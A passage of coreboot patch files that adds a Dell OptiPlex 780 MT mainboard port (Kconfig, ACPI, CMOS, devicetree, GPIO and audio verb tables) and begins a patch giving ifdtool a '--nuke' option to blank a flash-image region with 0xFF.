++ + .../optiplex_780/variants/780_mt/data.vbt | Bin 0 -> 1917 bytes + .../optiplex_780/variants/780_mt/early_init.c | 12 ++ + .../dell/optiplex_780/variants/780_mt/gpio.c | 174 ++++++++++++++++++ + .../optiplex_780/variants/780_mt/hda_verb.c | 26 +++ + .../variants/780_mt/overridetree.cb | 10 + + 18 files changed, 530 insertions(+) + create mode 100644 src/mainboard/dell/optiplex_780/Kconfig + create mode 100644 src/mainboard/dell/optiplex_780/Kconfig.name + create mode 100644 src/mainboard/dell/optiplex_780/Makefile.mk + create mode 100644 src/mainboard/dell/optiplex_780/acpi/ec.asl + create mode 100644 src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl + create mode 100644 src/mainboard/dell/optiplex_780/acpi/superio.asl + create mode 100644 src/mainboard/dell/optiplex_780/board_info.txt + create mode 100644 src/mainboard/dell/optiplex_780/cmos.default + create mode 100644 src/mainboard/dell/optiplex_780/cmos.layout + create mode 100644 src/mainboard/dell/optiplex_780/cstates.c + create mode 100644 src/mainboard/dell/optiplex_780/devicetree.cb + create mode 100644 src/mainboard/dell/optiplex_780/dsdt.asl + create mode 100644 src/mainboard/dell/optiplex_780/gma-mainboard.ads + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/early_init.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c + create mode 100644 src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb + +diff --git a/src/mainboard/dell/optiplex_780/Kconfig b/src/mainboard/dell/optiplex_780/Kconfig +new file mode 100644 +index 0000000000..2d06c75c9a +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Kconfig +@@ -0,0 +1,40 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_DELL_OPTIPLEX_780_COMMON ++ def_bool n ++ select BOARD_ROMSIZE_KB_8192 ++ select CPU_INTEL_SOCKET_LGA775 ++ select DRIVERS_I2C_CK505 ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select HAVE_CMOS_DEFAULT ++ select HAVE_OPTION_TABLE ++ select INTEL_GMA_HAVE_VBT ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select NORTHBRIDGE_INTEL_X4X ++ select PCIEXP_ASPM ++ select PCIEXP_CLK_PM ++ select SOUTHBRIDGE_INTEL_I82801JX ++ ++config BOARD_DELL_OPTIPLEX_780_MT ++ select BOARD_DELL_OPTIPLEX_780_COMMON ++ ++if BOARD_DELL_OPTIPLEX_780_COMMON ++ ++config VGA_BIOS_ID ++ default "8086,2e22" ++ ++config MAINBOARD_DIR ++ default "dell/optiplex_780" ++ ++config MAINBOARD_PART_NUMBER ++ default "OptiPlex 780 MT" if BOARD_DELL_OPTIPLEX_780_MT ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config VARIANT_DIR ++ default "780_mt" if BOARD_DELL_OPTIPLEX_780_MT ++ ++endif # BOARD_DELL_OPTIPLEX_780_COMMON +diff --git a/src/mainboard/dell/optiplex_780/Kconfig.name b/src/mainboard/dell/optiplex_780/Kconfig.name +new file mode 100644 +index 0000000000..db7f2e8fe3 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Kconfig.name +@@ -0,0 +1,4 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_DELL_OPTIPLEX_780_MT ++ bool "OptiPlex 780 MT" +diff --git a/src/mainboard/dell/optiplex_780/Makefile.mk b/src/mainboard/dell/optiplex_780/Makefile.mk +new file mode 100644 +index 0000000000..d462995d75 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/Makefile.mk +@@ -0,0 +1,10 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++ramstage-y += cstates.c ++romstage-y += variants/$(VARIANT_DIR)/gpio.c ++ ++bootblock-y += variants/$(VARIANT_DIR)/early_init.c ++romstage-y += variants/$(VARIANT_DIR)/early_init.c ++ ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += gma-mainboard.ads ++ramstage-y += variants/$(VARIANT_DIR)/hda_verb.c +diff --git a/src/mainboard/dell/optiplex_780/acpi/ec.asl b/src/mainboard/dell/optiplex_780/acpi/ec.asl +new file mode 100644 +index 0000000000..479296cb76 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/ec.asl +@@ -0,0 +1,5 @@ ++/* SPDX-License-Identifier: CC-PDDC */ ++ ++/* Please update the license if adding licensable material. */ ++ ++/* dummy */ +diff --git a/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl +new file mode 100644 +index 0000000000..b7588dcc41 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/ich10_pci_irqs.asl +@@ -0,0 +1,32 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++/* This is board specific information: ++ * IRQ routing for the 0:1e.0 PCI bridge of the ICH10 ++ */ ++ ++If (PICM) { ++ Return (Package() { ++ /* PCI slot */ ++ Package() { 0x0001ffff, 0, 0, 0x14}, ++ Package() { 0x0001ffff, 1, 0, 0x15}, ++ Package() { 0x0001ffff, 2, 0, 0x16}, ++ Package() { 0x0001ffff, 3, 0, 0x17}, ++ ++ Package() { 0x0002ffff, 0, 0, 0x15}, ++ Package() { 0x0002ffff, 1, 0, 0x16}, ++ Package() { 0x0002ffff, 2, 0, 0x17}, ++ Package() { 0x0002ffff, 3, 0, 0x14}, ++ }) ++} Else { ++ Return (Package() { ++ Package() { 0x0001ffff, 0, \_SB.PCI0.LPCB.LNKE, 0}, ++ Package() { 0x0001ffff, 1, \_SB.PCI0.LPCB.LNKF, 0}, ++ Package() { 0x0001ffff, 2, \_SB.PCI0.LPCB.LNKG, 0}, ++ Package() { 0x0001ffff, 3, \_SB.PCI0.LPCB.LNKH, 0}, ++ ++ Package() { 0x0002ffff, 0, \_SB.PCI0.LPCB.LNKF, 0}, ++ Package() { 0x0002ffff, 1, \_SB.PCI0.LPCB.LNKG, 0}, ++ Package() { 0x0002ffff, 2, \_SB.PCI0.LPCB.LNKH, 0}, ++ Package() { 0x0002ffff, 3, \_SB.PCI0.LPCB.LNKE, 0}, ++ }) ++} +diff --git a/src/mainboard/dell/optiplex_780/acpi/superio.asl b/src/mainboard/dell/optiplex_780/acpi/superio.asl +new file mode 100644 +index 0000000000..9f3900b86c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/acpi/superio.asl +@@ -0,0 +1,18 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#undef SUPERIO_DEV ++#undef SUPERIO_PNP_BASE ++#undef IT8720F_SHOW_SP1 ++#undef IT8720F_SHOW_SP2 ++#undef IT8720F_SHOW_EC ++#undef IT8720F_SHOW_KBCK ++#undef IT8720F_SHOW_KBCM ++#undef IT8720F_SHOW_GPIO ++#undef IT8720F_SHOW_CIR ++#define SUPERIO_DEV SIO0 ++#define SUPERIO_PNP_BASE 0x2e ++#define IT8720F_SHOW_EC 1 ++#define IT8720F_SHOW_KBCK 1 ++#define IT8720F_SHOW_KBCM 1 ++#define IT8720F_SHOW_GPIO 1 ++#include +diff --git a/src/mainboard/dell/optiplex_780/board_info.txt b/src/mainboard/dell/optiplex_780/board_info.txt +new file mode 100644 +index 0000000000..aaf657b583 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/board_info.txt +@@ -0,0 +1,6 @@ ++Category: desktop ++Board URL: https://www.acer.com/ac/en/GB/content/support-product/1137?b=1 ++ROM package: SOIC-8 ++ROM protocol: SPI ++ROM socketed: n ++Flashrom support: y +diff --git a/src/mainboard/dell/optiplex_780/cmos.default b/src/mainboard/dell/optiplex_780/cmos.default +new file mode 100644 +index 0000000000..23f0e55f3e +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cmos.default +@@ -0,0 +1,8 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++boot_option=Fallback ++debug_level=Debug ++power_on_after_fail=Disable ++nmi=Enable ++sata_mode=AHCI ++gfx_uma_size=64M +diff --git a/src/mainboard/dell/optiplex_780/cmos.layout b/src/mainboard/dell/optiplex_780/cmos.layout +new file mode 100644 +index 0000000000..9f5012adb4 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cmos.layout +@@ -0,0 +1,72 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++# ----------------------------------------------------------------- ++entries ++ ++# ----------------------------------------------------------------- ++0 120 r 0 reserved_memory ++ ++# ----------------------------------------------------------------- ++# RTC_BOOT_BYTE (coreboot hardcoded) ++384 1 e 4 boot_option ++388 4 h 0 reboot_counter ++ ++# ----------------------------------------------------------------- ++# coreboot config options: console ++395 4 e 6 debug_level ++ ++# coreboot config options: southbridge ++408 1 e 10 sata_mode ++409 2 e 7 power_on_after_fail ++411 1 e 1 nmi ++ ++# coreboot config options: cpu ++ ++# coreboot config options: northbridge ++432 4 e 11 gfx_uma_size ++ ++# coreboot config options: check sums ++984 16 h 0 check_sum ++ ++# ----------------------------------------------------------------- ++ ++enumerations ++ ++#ID value text ++1 0 Disable ++1 1 Enable ++2 0 Enable ++2 1 Disable ++4 0 Fallback ++4 1 Normal ++6 0 Emergency ++6 1 Alert ++6 2 Critical ++6 3 Error ++6 4 Warning ++6 5 Notice ++6 6 Info ++6 7 Debug ++6 8 Spew ++7 0 Disable ++7 1 Enable ++7 2 Keep ++10 0 AHCI ++10 1 Compatible ++11 1 4M ++11 2 8M ++11 3 16M ++11 4 32M ++11 5 48M ++11 6 64M ++11 7 128M ++11 8 256M ++11 9 96M ++11 10 160M ++11 11 224M ++11 12 352M ++ ++# ----------------------------------------------------------------- ++checksums ++ ++checksum 392 983 984 +diff --git a/src/mainboard/dell/optiplex_780/cstates.c b/src/mainboard/dell/optiplex_780/cstates.c +new file mode 100644 +index 0000000000..4adf0edc63 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/cstates.c +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++int get_cst_entries(const acpi_cstate_t **entries) ++{ ++ return 0; ++} +diff --git a/src/mainboard/dell/optiplex_780/devicetree.cb b/src/mainboard/dell/optiplex_780/devicetree.cb +new file mode 100644 +index 0000000000..95e3bd517c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/devicetree.cb +@@ -0,0 +1,63 @@ ++# SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device cpu_cluster 0 on ops x4x_cpu_bus_ops end # APIC cluster ++ device domain 0 on ++ ops x4x_pci_domain_ops # PCI domain ++ subsystemid 0x8086 0x0028 inherit ++ device pci 0.0 on end # Host Bridge ++ device pci 1.0 on end # PCIe x16 2.0 slot ++ device pci 2.0 on end # Integrated graphics controller ++ device pci 2.1 on end # Integrated graphics controller 2 ++ device pci 3.0 off end # ME ++ device pci 3.1 off end # ME ++ chip southbridge/intel/i82801jx # ICH10 ++ register "gpe0_en" = "0x40" ++ ++ # Set AHCI mode. ++ register "sata_port_map" = "0x3f" ++ register "sata_clock_request" = "1" ++ ++ # Enable PCIe ports 0,1 as slots. ++ register "pcie_slot_implemented" = "0x3" ++ ++ device pci 19.0 on end # GBE ++ device pci 1a.0 on end # USB ++ device pci 1a.1 on end # USB ++ device pci 1a.2 on end # USB ++ device pci 1a.7 on end # USB ++ device pci 1b.0 on end # Audio ++ device pci 1c.0 off end # PCIe 1 ++ device pci 1c.1 off end # PCIe 2 ++ device pci 1c.2 off end # PCIe 3 ++ device pci 1c.3 off end # PCIe 4 ++ device pci 1c.4 off end # PCIe 5 ++ device pci 1c.5 off end # PCIe 6 ++ device pci 1d.0 on end # USB ++ device pci 1d.1 on end # USB ++ device pci 1d.2 on end # USB ++ device pci 1d.7 on end # USB ++ device pci 1e.0 on end # PCI bridge ++ device pci 1f.0 on end # LPC bridge ++ device pci 1f.2 on end # SATA (IDE: port 0-3, AHCI/RAID: 0-5) ++ device pci 1f.3 on # SMBus ++ chip drivers/i2c/ck505 # IDT CV194 ++ register "mask" = "{ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff, 0xff, ++ 0xff, 0xff, 0xff }" ++ register "regs" = "{ 0x15, 0x82, 0xff, 0xff, ++ 0xff, 0x00, 0x00, 0x95, ++ 0x00, 0x65, 0x7d, 0x56, ++ 0x13, 0xc0, 0x00, 0x07, ++ 0x01, 0x0a, 0x64 }" ++ device i2c 69 on end ++ end ++ end ++ device pci 1f.4 off end ++ device pci 1f.5 off end # SATA 2 (for port 4-5 in IDE mode) ++ device pci 1f.6 off end # Thermal Subsystem ++ end ++ end ++end +diff --git a/src/mainboard/dell/optiplex_780/dsdt.asl b/src/mainboard/dell/optiplex_780/dsdt.asl +new file mode 100644 +index 0000000000..9ad70469de +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/dsdt.asl +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20090811 // OEM revision ++) ++{ ++ #include ++ ++ OSYS = 2002 ++ // global NVS and variables ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ } ++ ++ #include ++} +diff --git a/src/mainboard/dell/optiplex_780/gma-mainboard.ads b/src/mainboard/dell/optiplex_780/gma-mainboard.ads +new file mode 100644 +index 0000000000..bc81cf4a40 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/gma-mainboard.ads +@@ -0,0 +1,16 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (DP2, ++ Analog, ++ others => Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt b/src/mainboard/dell/optiplex_780/variants/780_mt/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..fefda9d6f226b88ab67c5b044de30a707df22fbf +GIT binary patch +literal 1917 +zcmd6nO>7%Q6vzLwGv0Mv$FUpJ*ik4iQd_wnX*X`M0y3~p?8a$~>ZXxZMU`4dc9RGb +zTXq_i1Bwd~aNr{c4i)r(goF^M-nek+sY0sMa}Sk>xFFy_FTEfX^Y+7unt+OgkeJbX +zznS;`v-5V=o{ZwwmnN>gY?}>{`7^JBpP$l`EBIwbi0*k&aU)n@v)E +znI_A1T57efS5MGNN5_ut +zt=x`G)EjR#mlhURC^2!A3p33TcBg4-d8JyTiF&hfk}|a#&Dfe2%~V^}=4!QavNzBh +z0Pae^5`gfb?7Q)c(LsP)8 +zQy)2gwgG1S^>aw&0D}Z+-SCcJJF;s)yXJeQ|4N{SU?$I`#$HZa9dWBuxA$6X;VK;%W?Y>I;0P`|*vwAK$S(VB2JSq6g4n +z>oEf8XCt;_Y-iYBWz#3T9EmJ +z2x?*GPeN%?=Fj3+fv~4%I(nv~XF7VOqi5RsAt%13JtW>q=<<;0IkLPSUGL%_1h)2kjaZzuV;`43yCV;I=#Jcyyw@xKE8GGX39@am|0GKhH` +zawsKv^FvHqm+c8*FfFsu??w)Oed@;Mg~21%rCZ%d{x!>-zmv4AyWL1E +xfz+CGUnQ7Y^TD}&c_cQRYlBC+`?m?k6Nuw??s04gg4@4`<@FO{XEbO( ++ ++void mb_get_spd_map(u8 spd_map[4]) ++{ ++ // BTX form factor ++ spd_map[0] = 0x53; ++ spd_map[1] = 0x52; ++ spd_map[2] = 0x51; ++ spd_map[3] = 0x50; ++} +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c +new file mode 100644 +index 0000000000..9993f17c55 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/gpio.c +@@ -0,0 +1,174 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++static const struct pch_gpio_set1 pch_gpio_set1_mode = { ++ .gpio0 = GPIO_MODE_NATIVE, ++ .gpio1 = GPIO_MODE_NATIVE, ++ .gpio2 = GPIO_MODE_GPIO, ++ .gpio3 = GPIO_MODE_GPIO, ++ .gpio4 = GPIO_MODE_GPIO, ++ .gpio5 = GPIO_MODE_GPIO, ++ .gpio6 = GPIO_MODE_GPIO, ++ .gpio7 = GPIO_MODE_NATIVE, ++ .gpio8 = GPIO_MODE_NATIVE, ++ .gpio9 = GPIO_MODE_GPIO, ++ .gpio10 = GPIO_MODE_GPIO, ++ .gpio11 = GPIO_MODE_NATIVE, ++ .gpio12 = GPIO_MODE_NATIVE, ++ .gpio13 = GPIO_MODE_GPIO, ++ .gpio14 = GPIO_MODE_GPIO, ++ .gpio15 = GPIO_MODE_NATIVE, ++ .gpio16 = GPIO_MODE_GPIO, ++ .gpio17 = GPIO_MODE_NATIVE, ++ .gpio18 = GPIO_MODE_GPIO, ++ .gpio19 = GPIO_MODE_GPIO, ++ .gpio20 = GPIO_MODE_GPIO, ++ .gpio21 = GPIO_MODE_GPIO, ++ .gpio22 = GPIO_MODE_GPIO, ++ .gpio23 = GPIO_MODE_NATIVE, ++ .gpio24 = GPIO_MODE_GPIO, ++ .gpio25 = GPIO_MODE_NATIVE, ++ .gpio26 = GPIO_MODE_NATIVE, ++ .gpio27 = GPIO_MODE_GPIO, ++ .gpio28 = GPIO_MODE_GPIO, ++ .gpio29 = GPIO_MODE_GPIO, ++ .gpio30 = GPIO_MODE_GPIO, ++ .gpio31 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_direction = { ++ .gpio2 = GPIO_DIR_INPUT, ++ .gpio3 = GPIO_DIR_INPUT, ++ .gpio4 = GPIO_DIR_INPUT, ++ .gpio5 = GPIO_DIR_INPUT, ++ .gpio6 = GPIO_DIR_INPUT, ++ .gpio9 = GPIO_DIR_OUTPUT, ++ .gpio10 = GPIO_DIR_INPUT, ++ .gpio13 = GPIO_DIR_INPUT, ++ .gpio14 = GPIO_DIR_INPUT, ++ .gpio16 = GPIO_DIR_INPUT, ++ .gpio18 = GPIO_DIR_OUTPUT, ++ .gpio19 = GPIO_DIR_INPUT, ++ .gpio20 = GPIO_DIR_OUTPUT, ++ .gpio21 = GPIO_DIR_INPUT, ++ .gpio22 = GPIO_DIR_INPUT, ++ .gpio24 = GPIO_DIR_INPUT, ++ .gpio27 = GPIO_DIR_INPUT, ++ .gpio28 = GPIO_DIR_OUTPUT, ++ .gpio29 = GPIO_DIR_INPUT, ++ .gpio30 = GPIO_DIR_INPUT, ++ .gpio31 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_level = { ++ .gpio9 = GPIO_LEVEL_HIGH, ++ .gpio18 = GPIO_LEVEL_HIGH, ++ .gpio20 = GPIO_LEVEL_HIGH, ++ .gpio28 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_blink = { ++}; ++ ++static const struct pch_gpio_set1 pch_gpio_set1_invert = { ++ .gpio13 = GPIO_INVERT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_mode = { ++ .gpio32 = GPIO_MODE_GPIO, ++ .gpio33 = GPIO_MODE_GPIO, ++ .gpio34 = GPIO_MODE_GPIO, ++ .gpio35 = GPIO_MODE_GPIO, ++ .gpio36 = GPIO_MODE_GPIO, ++ .gpio37 = GPIO_MODE_GPIO, ++ .gpio38 = GPIO_MODE_GPIO, ++ .gpio39 = GPIO_MODE_GPIO, ++ .gpio40 = GPIO_MODE_NATIVE, ++ .gpio41 = GPIO_MODE_NATIVE, ++ .gpio42 = GPIO_MODE_NATIVE, ++ .gpio43 = GPIO_MODE_NATIVE, ++ .gpio44 = GPIO_MODE_NATIVE, ++ .gpio45 = GPIO_MODE_NATIVE, ++ .gpio46 = GPIO_MODE_NATIVE, ++ .gpio47 = GPIO_MODE_NATIVE, ++ .gpio48 = GPIO_MODE_GPIO, ++ .gpio49 = GPIO_MODE_GPIO, ++ .gpio50 = GPIO_MODE_NATIVE, ++ .gpio51 = GPIO_MODE_NATIVE, ++ .gpio52 = GPIO_MODE_NATIVE, ++ .gpio53 = GPIO_MODE_NATIVE, ++ .gpio54 = GPIO_MODE_GPIO, ++ .gpio55 = GPIO_MODE_NATIVE, ++ .gpio56 = GPIO_MODE_GPIO, ++ .gpio57 = GPIO_MODE_GPIO, ++ .gpio58 = GPIO_MODE_NATIVE, ++ .gpio59 = GPIO_MODE_NATIVE, ++ .gpio60 = GPIO_MODE_GPIO, ++ .gpio61 = GPIO_MODE_NATIVE, ++ .gpio62 = GPIO_MODE_NATIVE, ++ .gpio63 = GPIO_MODE_NATIVE, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_direction = { ++ .gpio32 = GPIO_DIR_INPUT, ++ .gpio33 = GPIO_DIR_INPUT, ++ .gpio34 = GPIO_DIR_INPUT, ++ .gpio35 = GPIO_DIR_OUTPUT, ++ .gpio36 = GPIO_DIR_INPUT, ++ .gpio37 = GPIO_DIR_INPUT, ++ .gpio38 = GPIO_DIR_INPUT, ++ .gpio39 = GPIO_DIR_INPUT, ++ .gpio48 = GPIO_DIR_INPUT, ++ .gpio49 = GPIO_DIR_OUTPUT, ++ .gpio54 = GPIO_DIR_INPUT, ++ .gpio56 = GPIO_DIR_OUTPUT, ++ .gpio57 = GPIO_DIR_INPUT, ++ .gpio60 = GPIO_DIR_OUTPUT, ++}; ++ ++static const struct pch_gpio_set2 pch_gpio_set2_level = { ++ .gpio35 = GPIO_LEVEL_LOW, ++ .gpio49 = GPIO_LEVEL_HIGH, ++ .gpio56 = GPIO_LEVEL_HIGH, ++ .gpio60 = GPIO_LEVEL_LOW, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_mode = { ++ .gpio64 = GPIO_MODE_NATIVE, ++ .gpio65 = GPIO_MODE_NATIVE, ++ .gpio66 = GPIO_MODE_NATIVE, ++ .gpio67 = GPIO_MODE_NATIVE, ++ .gpio68 = GPIO_MODE_NATIVE, ++ .gpio69 = GPIO_MODE_NATIVE, ++ .gpio70 = GPIO_MODE_NATIVE, ++ .gpio71 = GPIO_MODE_NATIVE, ++ .gpio72 = GPIO_MODE_GPIO, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_direction = { ++ .gpio72 = GPIO_DIR_INPUT, ++}; ++ ++static const struct pch_gpio_set3 pch_gpio_set3_level = { ++}; ++ ++const struct pch_gpio_map mainboard_gpio_map = { ++ .set1 = { ++ .mode = &pch_gpio_set1_mode, ++ .direction = &pch_gpio_set1_direction, ++ .level = &pch_gpio_set1_level, ++ .blink = &pch_gpio_set1_blink, ++ .invert = &pch_gpio_set1_invert, ++ }, ++ .set2 = { ++ .mode = &pch_gpio_set2_mode, ++ .direction = &pch_gpio_set2_direction, ++ .level = &pch_gpio_set2_level, ++ }, ++ .set3 = { ++ .mode = &pch_gpio_set3_mode, ++ .direction = &pch_gpio_set3_direction, ++ .level = &pch_gpio_set3_level, ++ }, ++}; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c +new file mode 100644 +index 0000000000..4158bcf899 +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/hda_verb.c +@@ -0,0 +1,26 @@ ++/* SPDX-License-Identifier: GPL-2.0-or-later */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ /* coreboot specific header */ ++ 0x11d4194a, /* Analog Devices AD1984A */ ++ 0xbfd40000, /* Subsystem ID */ ++ 10, /* Number of entries */ ++ ++ /* Pin Widget Verb Table */ ++ AZALIA_PIN_CFG(0, 0x11, 0x032140f0), ++ AZALIA_PIN_CFG(0, 0x12, 0x21214010), ++ AZALIA_PIN_CFG(0, 0x13, 0x901701f0), ++ AZALIA_PIN_CFG(0, 0x14, 0x03a190f0), ++ AZALIA_PIN_CFG(0, 0x15, 0xb7a70121), ++ AZALIA_PIN_CFG(0, 0x16, 0x9933012e), ++ AZALIA_PIN_CFG(0, 0x17, 0x97a601f0), ++ AZALIA_PIN_CFG(0, 0x1a, 0x90f301f0), ++ AZALIA_PIN_CFG(0, 0x1b, 0x014510f0), ++ AZALIA_PIN_CFG(0, 0x1c, 0x21a19020), ++}; ++ ++const u32 pc_beep_verbs[0] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb +new file mode 100644 +index 0000000000..555b1c1f5c +--- /dev/null ++++ b/src/mainboard/dell/optiplex_780/variants/780_mt/overridetree.cb +@@ -0,0 +1,10 @@ ++## SPDX-License-Identifier: GPL-2.0-or-later ++ ++chip northbridge/intel/x4x ++ device domain 0 on ++ chip southbridge/intel/i82801jx ++ device pci 1c.0 on end # PCIe 1 ++ device pci 1c.1 on end # PCIe 2 ++ end ++ end ++end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch b/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch new file mode 100644 index 000000000..d5896fdc6 --- /dev/null +++ b/patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch @@ -0,0 +1,205 @@ +From 27b2f2bc24e5e860b87119c963e534fb0d3e55f2 Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Sun, 19 Feb 2023 18:21:43 +0000 +Subject: [PATCH 05/11] util/ifdtool: add --nuke flag (all 0xFF on region) + +When this option is used, the region's contents are overwritten +with all ones (0xFF). + +Example: + +./ifdtool --nuke gbe coreboot.rom +./ifdtool --nuke bios coreboot.com +./ifdtool --nuke me coreboot.com + +Rebased since the last revision update in lbmk. + +Signed-off-by: Leah Rowe +--- + util/ifdtool/ifdtool.c | 114 ++++++++++++++++++++++++++++++----------- + 1 file changed, 83 insertions(+), 31 deletions(-) + +diff --git a/util/ifdtool/ifdtool.c b/util/ifdtool/ifdtool.c +index 94105efe52..0706496af2 100644 +--- a/util/ifdtool/ifdtool.c ++++ b/util/ifdtool/ifdtool.c +@@ -2230,6 +2230,7 @@ static void print_usage(const char *name) + " tgl - Tiger Lake\n" + " wbg - Wellsburg\n" + " -S | --setpchstrap Write a PCH strap\n" ++ " -N | --nuke Overwrite the specified region with 0xFF (all ones)\n" + " -V | --newvalue The new value to write into PCH strap specified by -S\n" + " -v | --version: print the version\n" + " -h | --help: print this help\n\n" +@@ -2238,6 +2239,60 @@ static void print_usage(const char *name) + "\n"); + } + ++static int ++get_region_type_string(const char *region_type_string) ++{ ++ if (!strcasecmp("Descriptor", region_type_string)) ++ return 0; ++ else if (!strcasecmp("BIOS", region_type_string)) ++ return 1; ++ else if (!strcasecmp("ME", region_type_string)) ++ return 2; ++ else if (!strcasecmp("GbE", region_type_string)) ++ return 3; ++ else if (!strcasecmp("Platform Data", region_type_string)) ++ return 4; ++ else if (!strcasecmp("Device Exp1", region_type_string)) ++ return 5; ++ else if (!strcasecmp("Secondary BIOS", region_type_string)) ++ return 6; ++ else if (!strcasecmp("Reserved", region_type_string)) ++ return 7; ++ else if (!strcasecmp("EC", region_type_string)) ++ return 8; ++ else if (!strcasecmp("Device Exp2", region_type_string)) ++ return 9; ++ else if (!strcasecmp("IE", region_type_string)) ++ return 10; ++ else if (!strcasecmp("10GbE_0", region_type_string)) ++ return 11; ++ else if (!strcasecmp("10GbE_1", region_type_string)) ++ return 12; ++ else if (!strcasecmp("PTT", region_type_string)) ++ return 15; ++ return -1; ++} ++ ++static void ++nuke(const char *filename, char *image, int size, int region_type) ++{ ++ int i; ++ struct region region; ++ const struct frba *frba = find_frba(image, size); ++ if (!frba) ++ exit(EXIT_FAILURE); ++ ++ region = get_region(frba, region_type); ++ if (region.size > 0) { ++ for (i = region.base; i <= region.limit; i++) { ++ if ((i + 1) > (size)) ++ break; ++ image[i] = 0xFF; ++ } ++ write_image(filename, image, size); ++ } ++} ++ + int main(int argc, char *argv[]) + { + int opt, option_index = 0; +@@ -2245,6 +2300,7 @@ int main(int argc, char *argv[]) + int mode_em100 = 0, mode_locked = 0, mode_unlocked = 0, mode_validate = 0; + int mode_layout = 0, mode_newlayout = 0, mode_density = 0, mode_setstrap = 0; + int mode_read = 0, mode_altmedisable = 0, altmedisable = 0, mode_fmap_template = 0; ++ int mode_nuke = 0; + int mode_gpr0_disable = 0, mode_gpr0_enable = 0, mode_gpr0_status = 0; + char *region_type_string = NULL, *region_fname = NULL, *layout_fname = NULL; + char *new_filename = NULL; +@@ -2279,6 +2335,7 @@ int main(int argc, char *argv[]) + {"validate", 0, NULL, 't'}, + {"setpchstrap", 1, NULL, 'S'}, + {"newvalue", 1, NULL, 'V'}, ++ {"nuke", 1, NULL, 'N'}, + {0, 0, 0, 0} + }; + +@@ -2328,35 +2385,8 @@ int main(int argc, char *argv[]) + region_fname++; + // Descriptor, BIOS, ME, GbE, Platform + // valid type? +- if (!strcasecmp("Descriptor", region_type_string)) +- region_type = 0; +- else 